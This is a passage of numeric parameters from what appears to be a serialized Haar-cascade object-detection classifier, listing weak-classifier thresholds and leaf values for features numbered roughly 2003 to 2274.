7.4641901254653931e-01 4.3678998947143555e-02 + <_> + + 0 -1 2003 -5.0374999642372131e-02 + + 8.5090100765228271e-01 -1.7773799598217010e-01 + <_> + + 0 -1 2004 4.9548000097274780e-02 + + 1.6784900426864624e-01 -2.9877498745918274e-01 + <_> + + 0 -1 2005 -4.1085001081228256e-02 + + -1.3302919864654541e+00 -4.9182001501321793e-02 + <_> + + 0 -1 2006 1.0069999843835831e-03 + + -6.0538999736309052e-02 1.8483200669288635e-01 + <_> + + 0 -1 2007 -5.0142999738454819e-02 + + 7.6447701454162598e-01 -1.8356999754905701e-01 + <_> + + 0 -1 2008 -8.7879998609423637e-03 + + 2.2655999660491943e-01 -6.3156999647617340e-02 + <_> + + 0 -1 2009 -5.0170999020338058e-02 + + -1.5899070501327515e+00 -6.1255000531673431e-02 + <_> + + 0 -1 2010 1.0216099768877029e-01 + + 1.2071800231933594e-01 -1.4120110273361206e+00 + <_> + + 0 -1 2011 -1.4372999779880047e-02 + + -1.3116970062255859e+00 -5.1936000585556030e-02 + <_> + + 0 -1 2012 1.0281999595463276e-02 + + -2.1639999467879534e-03 4.4247201085090637e-01 + <_> + + 0 -1 2013 -1.1814000084996223e-02 + + 6.5378099679946899e-01 -1.8723699450492859e-01 + <_> + + 0 -1 2014 7.2114996612071991e-02 + + 7.1846999228000641e-02 8.1496298313140869e-01 + <_> + + 0 -1 2015 -1.9001999869942665e-02 + + -6.7427200078964233e-01 -4.3200000072829425e-04 + <_> + + 0 -1 2016 -4.6990001574158669e-03 + + 3.3311501145362854e-01 5.5794000625610352e-02 + <_> + + 0 -1 2017 -5.8157000690698624e-02 + + 4.5572298765182495e-01 -2.0305100083351135e-01 + <_> + + 0 -1 2018 1.1360000353306532e-03 + + -4.4686999171972275e-02 2.2681899368762970e-01 + <_> + + 0 -1 2019 -4.9414999783039093e-02 + + 2.6694598793983459e-01 -2.6116999983787537e-01 + <_> + + 0 -1 2020 -1.1913800239562988e-01 + + -8.3017998933792114e-01 1.3248500227928162e-01 + <_> + + 0 -1 2021 -1.8303999677300453e-02 + + -6.7499202489852905e-01 1.7092000693082809e-02 + <_> + + 0 -1 2022 -7.9199997708201408e-03 + + -7.2287000715732574e-02 1.4425800740718842e-01 + <_> + + 0 -1 2023 5.1925998181104660e-02 + + 3.0921999365091324e-02 -5.5860602855682373e-01 + <_> + + 0 -1 2024 6.6724002361297607e-02 + + 1.3666400313377380e-01 -2.9411000013351440e-01 + <_> + + 0 -1 2025 -1.3778000138700008e-02 + + -5.9443902969360352e-01 1.5300000086426735e-02 + <_> + + 0 -1 2026 -1.7760999500751495e-02 + + 4.0496501326560974e-01 -3.3559999428689480e-03 + <_> + + 0 -1 2027 -4.2234998196363449e-02 + + -1.0897940397262573e+00 -4.0224999189376831e-02 + <_> + + 0 -1 2028 -1.3524999842047691e-02 + + 2.8921899199485779e-01 -2.5194799900054932e-01 + <_> + + 0 -1 2029 -1.1106000281870365e-02 + + 6.5312802791595459e-01 -1.8053700029850006e-01 + <_> + + 0 -1 2030 -1.2284599989652634e-01 + + -1.9570649862289429e+00 1.4815400540828705e-01 + <_> + + 0 -1 2031 4.7715999186038971e-02 + + -2.2875599563121796e-01 3.4233701229095459e-01 + <_> + + 0 -1 2032 3.1817000359296799e-02 + + 1.5976299345493317e-01 -1.0091969966888428e+00 + <_> + + 0 -1 2033 4.2570000514388084e-03 + + -3.8881298899650574e-01 8.4210000932216644e-02 + <_> + + 0 -1 2034 -6.1372999101877213e-02 + + 1.7152810096740723e+00 5.9324998408555984e-02 + <_> + + 0 -1 2035 -2.7030000928789377e-03 + + -3.8161700963973999e-01 8.5127003490924835e-02 + <_> + + 0 -1 2036 -6.8544000387191772e-02 + + -3.0925889015197754e+00 1.1788000166416168e-01 + <_> + + 0 -1 2037 1.0372500121593475e-01 + + -1.3769300282001495e-01 1.9009410142898560e+00 + <_> + + 0 -1 2038 1.5799000859260559e-02 + + -6.2660001218318939e-02 2.5917699933052063e-01 + <_> + + 0 -1 2039 -9.8040001466870308e-03 + + -5.6291598081588745e-01 4.3923001736402512e-02 + <_> + + 0 -1 2040 -9.0229995548725128e-03 + + 2.5287100672721863e-01 -4.1225999593734741e-02 + <_> + + 0 -1 2041 -6.3754998147487640e-02 + + -2.6178569793701172e+00 -7.4005998671054840e-02 + <_> + + 0 -1 2042 3.8954999297857285e-02 + + 5.9032998979091644e-02 8.5945600271224976e-01 + <_> + + 0 -1 2043 -3.9802998304367065e-02 + + 9.3600499629974365e-01 -1.5639400482177734e-01 + <_> + + 0 -1 2044 5.0301998853683472e-02 + + 1.3725900650024414e-01 -2.5549728870391846e+00 + <_> + + 0 -1 2045 4.6250000596046448e-02 + + -1.3964000158011913e-02 -7.1026200056076050e-01 + <_> + + 0 -1 2046 6.2196001410484314e-02 + + 5.9526000171899796e-02 1.6509100198745728e+00 + <_> + + 0 -1 2047 -6.4776003360748291e-02 + + 7.1368998289108276e-01 -1.7270000278949738e-01 + <_> + + 0 -1 2048 2.7522999793291092e-02 + + 1.4631600677967072e-01 -8.1428997218608856e-02 + <_> + + 0 -1 2049 3.9900001138448715e-04 + + -3.7144500017166138e-01 1.0152699798345566e-01 + <_> + + 0 -1 2050 -4.3299999088048935e-03 + + -2.3756299912929535e-01 2.6798400282859802e-01 + <_> + + 0 -1 2051 4.7297000885009766e-02 + + -2.7682000771164894e-02 -8.4910297393798828e-01 + <_> + + 0 -1 2052 1.2508999556303024e-02 + + 1.8730199337005615e-01 -5.6001102924346924e-01 + <_> + + 0 -1 2053 4.5899000018835068e-02 + + -1.5601199865341187e-01 9.7073000669479370e-01 + <_> + + 0 -1 2054 1.9853399693965912e-01 + + 1.4895500242710114e-01 -1.1015529632568359e+00 + <_> + + 0 -1 2055 1.6674999147653580e-02 + + -1.6615299880504608e-01 8.2210999727249146e-01 + <_> + + 0 -1 2056 1.9829999655485153e-03 + + -7.1249999105930328e-02 2.8810900449752808e-01 + <_> + + 0 -1 2057 2.2447999566793442e-02 + + -2.0981000736355782e-02 -7.8416502475738525e-01 + <_> + + 0 -1 2058 -1.3913000002503395e-02 + + -1.8165799975395203e-01 2.0491799712181091e-01 + <_> + + 0 -1 2059 -7.7659999951720238e-03 + + -4.5595899224281311e-01 6.3576996326446533e-02 + <_> + + 0 -1 2060 -1.3209000229835510e-02 + + 2.6632300019264221e-01 -1.7795999348163605e-01 + <_> + + 0 -1 2061 4.9052998423576355e-02 + + -1.5476800501346588e-01 1.1069979667663574e+00 + <_> + + 0 -1 2062 2.0263999700546265e-02 + + 6.8915002048015594e-02 6.9867497682571411e-01 + <_> + + 0 -1 2063 -1.6828000545501709e-02 + + 2.7607199549674988e-01 -2.5139200687408447e-01 + <_> + + 0 -1 2064 -1.6939499974250793e-01 + + -3.0767529010772705e+00 1.1617500334978104e-01 + <_> + + 0 -1 2065 -1.1336100101470947e-01 + + -1.4639229774475098e+00 -5.1447000354528427e-02 + <_> + + 0 -1 2066 -7.7685996890068054e-02 + + 8.8430202007293701e-01 4.3306998908519745e-02 + <_> + + 0 -1 2067 -1.5568000264465809e-02 + + 1.3672499358654022e-01 -3.4505501389503479e-01 + <_> + + 0 -1 2068 -6.6018998622894287e-02 + + -1.0300110578536987e+00 1.1601399630308151e-01 + <_> + + 0 -1 2069 8.3699999377131462e-03 + + 7.6429001986980438e-02 -4.4002500176429749e-01 + <_> + + 0 -1 2070 3.5402998328208923e-02 + + 1.1979500204324722e-01 -7.2668302059173584e-01 + <_> + + 0 -1 2071 -3.9051000028848648e-02 + + 6.7375302314758301e-01 -1.8196000158786774e-01 + <_> + + 0 -1 2072 -9.7899995744228363e-03 + + 2.1264599263668060e-01 3.6756001412868500e-02 + <_> + + 0 -1 2073 -2.3047000169754028e-02 + + 4.4742199778556824e-01 -2.0986700057983398e-01 + <_> + + 0 -1 2074 3.1169999856501818e-03 + + 3.7544000893831253e-02 2.7808201313018799e-01 + <_> + + 0 -1 2075 1.3136000372469425e-02 + + -1.9842399656772614e-01 5.4335701465606689e-01 + <_> + + 0 -1 2076 1.4782000333070755e-02 + + 1.3530600070953369e-01 -1.1153600364923477e-01 + <_> + + 0 -1 2077 -6.0139000415802002e-02 + + 8.4039300680160522e-01 -1.6711600124835968e-01 + <_> + + 0 -1 2078 5.1998998969793320e-02 + + 1.7372000217437744e-01 -7.8547602891921997e-01 + <_> + + 0 -1 2079 2.4792000651359558e-02 + + -1.7739200592041016e-01 6.6752600669860840e-01 + <_> + + 0 -1 2080 -1.2014999985694885e-02 + + -1.4263699948787689e-01 1.6070500016212463e-01 + <_> + + 0 -1 2081 -9.8655998706817627e-02 + + 1.0429769754409790e+00 -1.5770199894905090e-01 + <_> + + 0 -1 2082 1.1758299916982651e-01 + + 1.0955700278282166e-01 -4.4920377731323242e+00 + <_> + + 0 -1 2083 -1.8922999501228333e-02 + + -7.8543400764465332e-01 1.2984000146389008e-02 + <_> + + 0 -1 2084 -2.8390999883413315e-02 + + -6.0569900274276733e-01 1.2903499603271484e-01 + <_> + + 0 -1 2085 1.3182999566197395e-02 + + -1.4415999874472618e-02 -7.3210501670837402e-01 + <_> + + 0 -1 2086 -1.1653000116348267e-01 + + -2.0442469120025635e+00 1.4053100347518921e-01 + <_> + + 0 -1 2087 -3.8880000356584787e-03 + + -4.1861599683761597e-01 7.8704997897148132e-02 + <_> + + 0 -1 2088 3.1229000538587570e-02 + + 2.4632999673485756e-02 4.1870400309562683e-01 + <_> + + 0 -1 2089 2.5198999792337418e-02 + + -1.7557799816131592e-01 6.4710599184036255e-01 + <_> + + 0 -1 2090 -2.8124000877141953e-02 + + -2.2005599737167358e-01 1.4121000468730927e-01 + <_> + + 0 -1 2091 3.6499001085758209e-02 + + -6.8426996469497681e-02 -2.3410849571228027e+00 + <_> + + 0 -1 2092 -7.2292998433113098e-02 + + 1.2898750305175781e+00 8.4875002503395081e-02 + <_> + + 0 -1 2093 -4.1671000421047211e-02 + + -1.1630970239639282e+00 -5.3752999752759933e-02 + <_> + + 0 -1 2094 4.7703001648187637e-02 + + 7.0101000368595123e-02 7.3676502704620361e-01 + <_> + + 0 -1 2095 6.5793000161647797e-02 + + -1.7755299806594849e-01 6.9780498743057251e-01 + <_> + + 0 -1 2096 1.3904999941587448e-02 + + 2.1936799585819244e-01 -2.0390799641609192e-01 + <_> + + 0 -1 2097 -2.7730999514460564e-02 + + 6.1867898702621460e-01 -1.7804099619388580e-01 + <_> + + 0 -1 2098 -1.5879999846220016e-02 + + -4.6484100818634033e-01 1.8828600645065308e-01 + <_> + + 0 -1 2099 7.4128001928329468e-02 + + -1.2858100235462189e-01 3.2792479991912842e+00 + <_> + + 0 -1 2100 -8.9000002481043339e-04 + + -3.0117601156234741e-01 2.3818799853324890e-01 + <_> + + 0 -1 2101 1.7965000122785568e-02 + + -2.2284999489784241e-01 2.9954001307487488e-01 + <_> + + 0 -1 2102 -2.5380000006407499e-03 + + 2.5064399838447571e-01 -1.3665600121021271e-01 + <_> + + 0 -1 2103 -9.0680001303553581e-03 + + 2.9017499089241028e-01 -2.8929701447486877e-01 + <_> + + 0 -1 2104 4.9169998615980148e-02 + + 1.9156399369239807e-01 -6.8328702449798584e-01 + <_> + + 0 -1 2105 -3.0680999159812927e-02 + + -7.5677001476287842e-01 -1.3279999606311321e-02 + <_> + + 0 -1 2106 1.0017400234937668e-01 + + 8.4453999996185303e-02 1.0888710021972656e+00 + <_> + + 0 -1 2107 3.1950001139193773e-03 + + -2.6919400691986084e-01 1.9537900388240814e-01 + <_> + + 0 -1 2108 3.5503000020980835e-02 + + 1.3632300496101379e-01 -5.6917202472686768e-01 + <_> + + 0 -1 2109 4.5900000259280205e-04 + + -4.0443998575210571e-01 1.4074799418449402e-01 + <_> + + 0 -1 2110 2.5258999317884445e-02 + + 1.6243200004100800e-01 -5.5741798877716064e-01 + <_> + + 0 -1 2111 -5.1549999043345451e-03 + + 3.1132599711418152e-01 -2.2756099700927734e-01 + <_> + + 0 -1 2112 1.5869999770075083e-03 + + -2.6867699623107910e-01 1.9565400481224060e-01 + <_> + + 0 -1 2113 -1.6204999759793282e-02 + + 1.5486499667167664e-01 -3.4057798981666565e-01 + <_> + + 0 -1 2114 -2.9624000191688538e-02 + + 1.1466799974441528e+00 9.0557999908924103e-02 + <_> + + 0 -1 2115 -1.5930000226944685e-03 + + -7.1257501840591431e-01 -7.0400000549852848e-04 + <_> + + 0 -1 2116 -5.4019000381231308e-02 + + 4.1537499427795410e-01 2.7246000245213509e-02 + <_> + + 0 -1 2117 -6.6211000084877014e-02 + + -1.3340090513229370e+00 -4.7352999448776245e-02 + <_> + + 0 -1 2118 2.7940999716520309e-02 + + 1.4446300268173218e-01 -5.1518398523330688e-01 + <_> + + 0 -1 2119 2.8957000002264977e-02 + + -4.9966000020503998e-02 -1.1929039955139160e+00 + <_> + + 0 -1 2120 -2.0424999296665192e-02 + + 6.3881301879882812e-01 3.8141001015901566e-02 + <_> + + 0 -1 2121 1.2416999787092209e-02 + + -2.1547000110149384e-01 4.9477699398994446e-01 + <_> + 181 + -3.3196411132812500e+00 + + <_> + + 0 -1 2122 4.3274000287055969e-02 + + -8.0494397878646851e-01 3.9897298812866211e-01 + <_> + + 0 -1 2123 1.8615500628948212e-01 + + -3.1655299663543701e-01 6.8877297639846802e-01 + <_> + + 0 -1 2124 3.1860999763011932e-02 + + -6.4266198873519897e-01 2.5550898909568787e-01 + <_> + + 0 -1 2125 1.4022000133991241e-02 + + -4.5926600694656372e-01 3.1171199679374695e-01 + <_> + + 0 -1 2126 -6.3029997982084751e-03 + + 4.6026900410652161e-01 -2.7438500523567200e-01 + <_> + + 0 -1 2127 -5.4310001432895660e-03 + + 3.6608600616455078e-01 -2.7205801010131836e-01 + <_> + + 0 -1 2128 1.6822999343276024e-02 + + 2.3476999253034592e-02 -8.8443797826766968e-01 + <_> + + 0 -1 2129 2.6039000600576401e-02 + + 1.7488799989223480e-01 -5.4564702510833740e-01 + <_> + + 0 -1 2130 -2.6720000430941582e-02 + + -9.6396499872207642e-01 2.3524999618530273e-02 + <_> + + 0 -1 2131 -1.7041999846696854e-02 + + -7.0848798751831055e-01 2.1468099951744080e-01 + <_> + + 0 -1 2132 5.9569999575614929e-03 + + 7.3601000010967255e-02 -6.8225598335266113e-01 + <_> + + 0 -1 2133 -2.8679999522864819e-03 + + -7.4935001134872437e-01 2.3803399503231049e-01 + <_> + + 0 -1 2134 -4.3774999678134918e-02 + + 6.8323302268981934e-01 -2.1380299329757690e-01 + <_> + + 0 -1 2135 5.1633000373840332e-02 + + -1.2566499412059784e-01 6.7523801326751709e-01 + <_> + + 0 -1 2136 8.1780003383755684e-03 + + 7.0689998567104340e-02 -8.0665898323059082e-01 + <_> + + 0 -1 2137 -5.2841998636722565e-02 + + 9.5433902740478516e-01 1.6548000276088715e-02 + <_> + + 0 -1 2138 5.2583999931812286e-02 + + -2.8414401412010193e-01 4.7129800915718079e-01 + <_> + + 0 -1 2139 -1.2659000232815742e-02 + + 3.8445401191711426e-01 -6.2288001179695129e-02 + <_> + + 0 -1 2140 1.1694000102579594e-02 + + 5.6000000768108293e-05 -1.0173139572143555e+00 + <_> + + 0 -1 2141 -2.3918999359011650e-02 + + 8.4921300411224365e-01 5.7399999350309372e-03 + <_> + + 0 -1 2142 -6.1673998832702637e-02 + + -9.2571401596069336e-01 -1.7679999582469463e-03 + <_> + + 0 -1 2143 -1.8279999494552612e-03 + + -5.4372298717498779e-01 2.4932399392127991e-01 + <_> + + 0 -1 2144 3.5257998853921890e-02 + + -7.3719997890293598e-03 -9.3963998556137085e-01 + <_> + + 0 -1 2145 -1.8438000231981277e-02 + + 7.2136700153350830e-01 1.0491999797523022e-02 + <_> + + 0 -1 2146 -3.8389001041650772e-02 + + 1.9272600114345551e-01 -3.5832101106643677e-01 + <_> + + 0 -1 2147 9.9720999598503113e-02 + + 1.1354199796915054e-01 -1.6304190158843994e+00 + <_> + + 0 -1 2148 8.4462001919746399e-02 + + -5.3420998156070709e-02 -1.6981120109558105e+00 + <_> + + 0 -1 2149 4.0270000696182251e-02 + + -1.0783199965953827e-01 5.1926600933074951e-01 + <_> + + 0 -1 2150 5.8935999870300293e-02 + + -1.8053700029850006e-01 9.5119798183441162e-01 + <_> + + 0 -1 2151 1.4957000315189362e-01 + + 1.6785299777984619e-01 -1.1591869592666626e+00 + <_> + + 0 -1 2152 6.9399998756125569e-04 + + 2.0491400361061096e-01 -3.3118200302124023e-01 + <_> + + 0 -1 2153 -3.3369001001119614e-02 + + 9.3468099832534790e-01 -2.9639999847859144e-03 + <_> + + 0 -1 2154 9.3759996816515923e-03 + + 3.7000000011175871e-03 -7.7549797296524048e-01 + <_> + + 0 -1 2155 4.3193999677896500e-02 + + -2.2040000185370445e-03 7.4589699506759644e-01 + <_> + + 0 -1 2156 -6.7555002868175507e-02 + + 7.2292101383209229e-01 -1.8404200673103333e-01 + <_> + + 0 -1 2157 -3.1168600916862488e-01 + + 1.0014270544052124e+00 3.4003000706434250e-02 + <_> + + 0 -1 2158 2.9743999242782593e-02 + + -4.6356000006198883e-02 -1.2781809568405151e+00 + <_> + + 0 -1 2159 1.0737000033259392e-02 + + 1.4812000095844269e-02 6.6649997234344482e-01 + <_> + + 0 -1 2160 -2.8841000050306320e-02 + + -9.4222599267959595e-01 -2.0796999335289001e-02 + <_> + + 0 -1 2161 -5.7649998925626278e-03 + + -4.3541899323463440e-01 2.3386000096797943e-01 + <_> + + 0 -1 2162 2.8410999104380608e-02 + + -1.7615799605846405e-01 8.5765302181243896e-01 + <_> + + 0 -1 2163 -2.9007999226450920e-02 + + 5.7978099584579468e-01 2.8565999120473862e-02 + <_> + + 0 -1 2164 2.4965999647974968e-02 + + -2.2729000076651573e-02 -9.6773099899291992e-01 + <_> + + 0 -1 2165 1.2036000378429890e-02 + + -1.4214700460433960e-01 5.1687997579574585e-01 + <_> + + 0 -1 2166 -4.2514000087976456e-02 + + 9.7273802757263184e-01 -1.8119800090789795e-01 + <_> + + 0 -1 2167 1.0276000015437603e-02 + + -8.3099998533725739e-02 3.1762799620628357e-01 + <_> + + 0 -1 2168 -6.9191999733448029e-02 + + -2.0668580532073975e+00 -6.0173999518156052e-02 + <_> + + 0 -1 2169 -4.6769999898970127e-03 + + 4.4131800532341003e-01 2.3209000006318092e-02 + <_> + + 0 -1 2170 -1.3923999853432178e-02 + + 2.8606700897216797e-01 -2.9152700304985046e-01 + <_> + + 0 -1 2171 -1.5333999879658222e-02 + + -5.7414501905441284e-01 2.3063300549983978e-01 + <_> + + 0 -1 2172 -1.0239000432193279e-02 + + 3.4479200839996338e-01 -2.6080399751663208e-01 + <_> + + 0 -1 2173 -5.0988998264074326e-02 + + 5.6154102087020874e-01 6.1218999326229095e-02 + <_> + + 0 -1 2174 3.0689999461174011e-02 + + -1.4772799611091614e-01 1.6378489732742310e+00 + <_> + + 0 -1 2175 -1.1223999783396721e-02 + + 2.4006199836730957e-01 -4.4864898920059204e-01 + <_> + + 0 -1 2176 -6.2899999320507050e-03 + + 4.3119499087333679e-01 -2.3808999359607697e-01 + <_> + + 0 -1 2177 7.8590996563434601e-02 + + 1.9865000620484352e-02 8.0853801965713501e-01 + <_> + + 0 -1 2178 -1.0178999975323677e-02 + + 1.8193200230598450e-01 -3.2877799868583679e-01 + <_> + + 0 -1 2179 3.1227000057697296e-02 + + 1.4973899722099304e-01 -1.4180339574813843e+00 + <_> + + 0 -1 2180 4.0196999907493591e-02 + + -1.9760499894618988e-01 5.8508199453353882e-01 + <_> + + 0 -1 2181 1.6138000413775444e-02 + + 5.0000002374872565e-04 3.9050000905990601e-01 + <_> + + 0 -1 2182 -4.5519001781940460e-02 + + 1.2646820545196533e+00 -1.5632599592208862e-01 + <_> + + 0 -1 2183 -1.8130000680685043e-02 + + 6.5148502588272095e-01 1.0235999710857868e-02 + <_> + + 0 -1 2184 -1.4001999981701374e-02 + + -1.0344820022583008e+00 -3.2182998955249786e-02 + <_> + + 0 -1 2185 -3.8816001266241074e-02 + + -4.7874298691749573e-01 1.6290700435638428e-01 + <_> + + 0 -1 2186 3.1656000763177872e-02 + + -2.0983399450778961e-01 5.4575902223587036e-01 + <_> + + 0 -1 2187 -1.0839999653398991e-02 + + 5.1898801326751709e-01 -1.5080000273883343e-02 + <_> + + 0 -1 2188 1.2032999657094479e-02 + + -2.1107600629329681e-01 7.5937002897262573e-01 + <_> + + 0 -1 2189 7.0772998034954071e-02 + + 1.8048800528049469e-01 -7.4048501253128052e-01 + <_> + + 0 -1 2190 5.3139799833297729e-01 + + -1.4491699635982513e-01 1.5360039472579956e+00 + <_> + + 0 -1 2191 -1.4774000272154808e-02 + + -2.8153699636459351e-01 2.0407299697399139e-01 + <_> + + 0 -1 2192 -2.2410000674426556e-03 + + -4.4876301288604736e-01 5.3989000618457794e-02 + <_> + + 0 -1 2193 4.9968000501394272e-02 + + 4.1514001786708832e-02 2.9417100548744202e-01 + <_> + + 0 -1 2194 -4.7701999545097351e-02 + + 3.9674299955368042e-01 -2.8301799297332764e-01 + <_> + + 0 -1 2195 -9.1311000287532806e-02 + + 2.1994259357452393e+00 8.7964996695518494e-02 + <_> + + 0 -1 2196 3.8070000708103180e-02 + + -2.8025600314140320e-01 2.5156199932098389e-01 + <_> + + 0 -1 2197 -1.5538999810814857e-02 + + 3.4157499670982361e-01 1.7924999818205833e-02 + <_> + + 0 -1 2198 -1.5445999801158905e-02 + + 2.8680199384689331e-01 -2.5135898590087891e-01 + <_> + + 0 -1 2199 -5.7388000190258026e-02 + + 6.3830000162124634e-01 8.8597998023033142e-02 + <_> + + 0 -1 2200 -5.9440000914037228e-03 + + 7.9016998410224915e-02 -4.0774899721145630e-01 + <_> + + 0 -1 2201 -6.9968998432159424e-02 + + -4.4644200801849365e-01 1.7219600081443787e-01 + <_> + + 0 -1 2202 -2.5064999237656593e-02 + + -9.8270201683044434e-01 -3.5388000309467316e-02 + <_> + + 0 -1 2203 1.7216000705957413e-02 + + 2.2705900669097900e-01 -8.0550098419189453e-01 + <_> + + 0 -1 2204 -4.4279001653194427e-02 + + 8.3951997756958008e-01 -1.7429600656032562e-01 + <_> + + 0 -1 2205 4.3988998979330063e-02 + + 1.1557199805974960e-01 -1.9666889905929565e+00 + <_> + + 0 -1 2206 1.5907000750303268e-02 + + -3.7576001137495041e-02 -1.0311100482940674e+00 + <_> + + 0 -1 2207 -9.2754997313022614e-02 + + -1.3530019521713257e+00 1.2141299992799759e-01 + <_> + + 0 -1 2208 7.1037001907825470e-02 + + -1.7684300243854523e-01 7.4485200643539429e-01 + <_> + + 0 -1 2209 5.7762000709772110e-02 + + 1.2835599482059479e-01 -4.4444200396537781e-01 + <_> + + 0 -1 2210 -1.6432000324130058e-02 + + 8.0152702331542969e-01 -1.7491699755191803e-01 + <_> + + 0 -1 2211 2.3939000442624092e-02 + + 1.6144999861717224e-01 -1.2364500015974045e-01 + <_> + + 0 -1 2212 1.2636000290513039e-02 + + 1.5411999821662903e-01 -3.3293798565864563e-01 + <_> + + 0 -1 2213 -5.4347999393939972e-02 + + -1.8400700092315674e+00 1.4835999906063080e-01 + <_> + + 0 -1 2214 -1.3261999934911728e-02 + + -8.0838799476623535e-01 -2.7726000174880028e-02 + <_> + + 0 -1 2215 6.1340001411736012e-03 + + -1.3785000145435333e-01 3.2858499884605408e-01 + <_> + + 0 -1 2216 2.8991000726819038e-02 + + -2.5516999885439873e-02 -8.3387202024459839e-01 + <_> + + 0 -1 2217 -2.1986000239849091e-02 + + -7.3739999532699585e-01 1.7887100577354431e-01 + <_> + + 0 -1 2218 5.3269998170435429e-03 + + -4.5449298620223999e-01 6.8791002035140991e-02 + <_> + + 0 -1 2219 8.6047999560832977e-02 + + 2.1008500456809998e-01 -3.7808901071548462e-01 + <_> + + 0 -1 2220 -8.5549997165799141e-03 + + 4.0134999155998230e-01 -2.1074099838733673e-01 + <_> + + 0 -1 2221 6.7790001630783081e-03 + + -2.1648999303579330e-02 4.5421499013900757e-01 + <_> + + 0 -1 2222 -6.3959998078644276e-03 + + -4.9818599224090576e-01 7.5907997786998749e-02 + <_> + + 0 -1 2223 8.9469999074935913e-03 + + 1.7857700586318970e-01 -2.8454899787902832e-01 + <_> + + 0 -1 2224 3.2589999027550220e-03 + + 4.6624999493360519e-02 -5.5206298828125000e-01 + <_> + + 0 -1 2225 4.1476998478174210e-02 + + 1.7550499737262726e-01 -2.0703999698162079e-01 + <_> + + 0 -1 2226 -6.7449999041855335e-03 + + -4.6392598748207092e-01 6.9303996860980988e-02 + <_> + + 0 -1 2227 3.0564999207854271e-02 + + 5.1734998822212219e-02 7.5550502538681030e-01 + <_> + + 0 -1 2228 -7.4780001305043697e-03 + + 1.4893899857997894e-01 -3.1906801462173462e-01 + <_> + + 0 -1 2229 8.9088998734951019e-02 + + 1.3738800585269928e-01 -1.1379710435867310e+00 + <_> + + 0 -1 2230 7.3230001144111156e-03 + + -2.8829199075698853e-01 1.9088600575923920e-01 + <_> + + 0 -1 2231 -1.8205000087618828e-02 + + -3.0178600549697876e-01 1.6795800626277924e-01 + <_> + + 0 -1 2232 -2.5828000158071518e-02 + + -9.8137998580932617e-01 -1.9860999658703804e-02 + <_> + + 0 -1 2233 1.0936199873685837e-01 + + 4.8790000379085541e-02 5.3118300437927246e-01 + <_> + + 0 -1 2234 -1.1424999684095383e-02 + + 2.3705999553203583e-01 -2.7925300598144531e-01 + <_> + + 0 -1 2235 -5.7565998286008835e-02 + + 4.7255399823188782e-01 6.5171003341674805e-02 + <_> + + 0 -1 2236 1.0278300195932388e-01 + + -2.0765100419521332e-01 5.0947701930999756e-01 + <_> + + 0 -1 2237 2.7041999623179436e-02 + + 1.6421200335025787e-01 -1.4508620500564575e+00 + <_> + + 0 -1 2238 -1.3635000213980675e-02 + + -5.6543898582458496e-01 2.3788999766111374e-02 + <_> + + 0 -1 2239 -3.2158198952674866e-01 + + -3.5602829456329346e+00 1.1801300197839737e-01 + <_> + + 0 -1 2240 2.0458100736141205e-01 + + -3.7016000598669052e-02 -1.0225499868392944e+00 + <_> + + 0 -1 2241 -7.0347003638744354e-02 + + -5.6491899490356445e-01 1.8525199592113495e-01 + <_> + + 0 -1 2242 3.7831000983715057e-02 + + -2.9901999980211258e-02 -8.2921499013900757e-01 + <_> + + 0 -1 2243 -7.0298001170158386e-02 + + -5.3172302246093750e-01 1.4430199563503265e-01 + <_> + + 0 -1 2244 6.3221000134944916e-02 + + -2.2041200101375580e-01 4.7952198982238770e-01 + <_> + + 0 -1 2245 3.6393001675605774e-02 + + 1.4222699403762817e-01 -6.1193901300430298e-01 + <_> + + 0 -1 2246 4.0099998004734516e-03 + + -3.4560799598693848e-01 1.1738699674606323e-01 + <_> + + 0 -1 2247 -4.9106001853942871e-02 + + 9.5984101295471191e-01 6.4934998750686646e-02 + <_> + + 0 -1 2248 -7.1583002805709839e-02 + + 1.7385669946670532e+00 -1.4252899587154388e-01 + <_> + + 0 -1 2249 -3.8008999079465866e-02 + + 1.3872820138931274e+00 6.6188000142574310e-02 + <_> + + 0 -1 2250 -3.1570000573992729e-03 + + 5.3677000105381012e-02 -5.4048001766204834e-01 + <_> + + 0 -1 2251 1.9458999857306480e-02 + + -9.3620002269744873e-02 3.9131000638008118e-01 + <_> + + 0 -1 2252 1.1293999850749969e-02 + + 3.7223998457193375e-02 -5.4251801967620850e-01 + <_> + + 0 -1 2253 -3.3495001494884491e-02 + + 9.5307898521423340e-01 3.7696998566389084e-02 + <_> + + 0 -1 2254 9.2035003006458282e-02 + + -1.3488399982452393e-01 2.2897069454193115e+00 + <_> + + 0 -1 2255 3.7529999390244484e-03 + + 2.2824199497699738e-01 -5.9983700513839722e-01 + <_> + + 0 -1 2256 1.2848000042140484e-02 + + -2.2005200386047363e-01 3.7221899628639221e-01 + <_> + + 0 -1 2257 -1.4316199719905853e-01 + + 1.2855789661407471e+00 4.7237001359462738e-02 + <_> + + 0 -1 2258 -9.6879996359348297e-02 + + -3.9550929069519043e+00 -7.2903998196125031e-02 + <_> + + 0 -1 2259 -8.8459998369216919e-03 + + 3.7674999237060547e-01 -4.6484000980854034e-02 + <_> + + 0 -1 2260 1.5900000929832458e-02 + + -2.4457000195980072e-02 -8.0034798383712769e-01 + <_> + + 0 -1 2261 7.0372000336647034e-02 + + 1.7019000649452209e-01 -6.3068997859954834e-01 + <_> + + 0 -1 2262 -3.7953998893499374e-02 + + -9.3667197227478027e-01 -4.1214000433683395e-02 + <_> + + 0 -1 2263 5.1597899198532104e-01 + + 1.3080599904060364e-01 -1.5802290439605713e+00 + <_> + + 0 -1 2264 -3.2843001186847687e-02 + + -1.1441620588302612e+00 -4.9173999577760696e-02 + <_> + + 0 -1 2265 -3.6357000470161438e-02 + + 4.9606400728225708e-01 -3.4458998590707779e-02 + <_> + + 0 -1 2266 6.8080001510679722e-03 + + -3.0997800827026367e-01 1.7054800689220428e-01 + <_> + + 0 -1 2267 -1.6114000231027603e-02 + + -3.7904599308967590e-01 1.6078999638557434e-01 + <_> + + 0 -1 2268 8.4530003368854523e-03 + + -1.8655499815940857e-01 5.6367701292037964e-01 + <_> + + 0 -1 2269 -1.3752399384975433e-01 + + -5.8989900350570679e-01 1.1749500036239624e-01 + <_> + + 0 -1 2270 1.7688000202178955e-01 + + -1.5424899756908417e-01 9.2911100387573242e-01 + <_> + + 0 -1 2271 7.9309996217489243e-03 + + 3.2190701365470886e-01 -1.6392600536346436e-01 + <_> + + 0 -1 2272 1.0971800237894058e-01 + + -1.5876500308513641e-01 1.0186259746551514e+00 + <_> + + 0 -1 2273 -3.0293000862002373e-02 + + 7.5587302446365356e-01 3.1794998794794083e-02 + <_> + + 0 -1 2274 -2.3118000477552414e-02 + + -8.8451498746871948e-01 